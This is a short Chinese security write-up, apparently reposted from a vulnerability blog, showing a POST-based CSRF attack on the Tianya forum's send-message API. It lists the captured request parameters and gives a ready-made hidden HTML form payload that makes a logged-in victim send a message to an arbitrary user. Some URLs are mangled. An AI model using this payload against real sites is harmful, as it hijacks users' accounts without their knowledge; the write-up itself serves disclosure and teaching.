在CSRF攻击流行之初,曾经有一种错误的观点,认为CSRF攻击只能由GET请求发起,因此很多开发者都认为只要把重要的操作改成只允许POST请求,就能防止CSRF攻击。
上次说到GET请求的CSRF(http://HdhCmsTest2cto测试数据/Article/201310/248996. html ),这次我们来看看POST请求的CSRF怎么利用。POST相对GET来说,威力略逊,不是说他们两的危害相差较大。而是说POST的感染范围并没有GET那么广泛。
天涯有一个叫发送消息的功能:
抓一下包子:
发现三个可控参数:
params.receiveUserName:lisniuse
params.content:test
params.sourceName:消息
和一个指向URL
Request URL:http://HdhCmsTesttianya.cn/api/msg?method=messageuser.insertmessage
根据这3个参数和URL我们构造一个post的payload.html
<form action="http://HdhCmsTesttianya.cn/api/msg?method=messageuser.insertmessage" method="post" > <input type="hidden" name="params.receiveUserName" value="lisniuse"> <input type="hidden" name="params.content" value="csrf"> <input type="hidden" name="params.sourceName" value="消息"> <input type="submit" value="ok"> </form>
本地测试一下
修复方案: 幸苦你们了
查看更多关于天涯CSRF系列二: 劫持用户发送消息给任意用户的详细内容...